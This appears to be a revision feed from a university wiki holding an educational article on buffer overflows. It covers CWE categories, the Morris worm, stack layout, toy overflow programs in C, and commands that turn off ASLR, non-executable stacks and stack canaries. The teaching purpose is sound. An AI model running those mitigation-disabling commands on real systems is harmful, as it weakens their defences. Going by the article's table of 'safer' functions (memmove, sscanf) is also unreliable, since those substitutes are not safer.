== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack&#039;s mechanics and control structures in the later section &amp;quot;Stack-based Buffer Overflow&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Console output running the program (bash).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Before overflow: A = 0000000, B = 03&lt;br /&gt;
After overflow: A = excessive, B = e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory before the overflow (gdb). &lt;br /&gt;
The memory addresses on the left are the locations of the two buffers.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x30  0x30  0x30  0x30  0x30  0x30  0x30  0x00&lt;br /&gt;
0xffffcc8d:  0x30  0x33  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory after the overflow (gdb).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x65  0x78  0x63  0x65  0x73  0x73  0x69  0x76&lt;br /&gt;
0xffffcc8d:  0x65  0x00  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
A program may not know at compile time how much memory it will need. Such seg-&lt;br /&gt;
ments can be allocated dynamically, during runtime, and will be placed on the heap.&lt;br /&gt;
Special system calls brk() and mmap() can be used by Linux programs to achieve that.&lt;br /&gt;
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper func-&lt;br /&gt;
tions around these system calls and help managing those memory segments. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16989</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16989"/>
		<updated>2024-12-11T17:01:40Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Buffer Over-Write */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
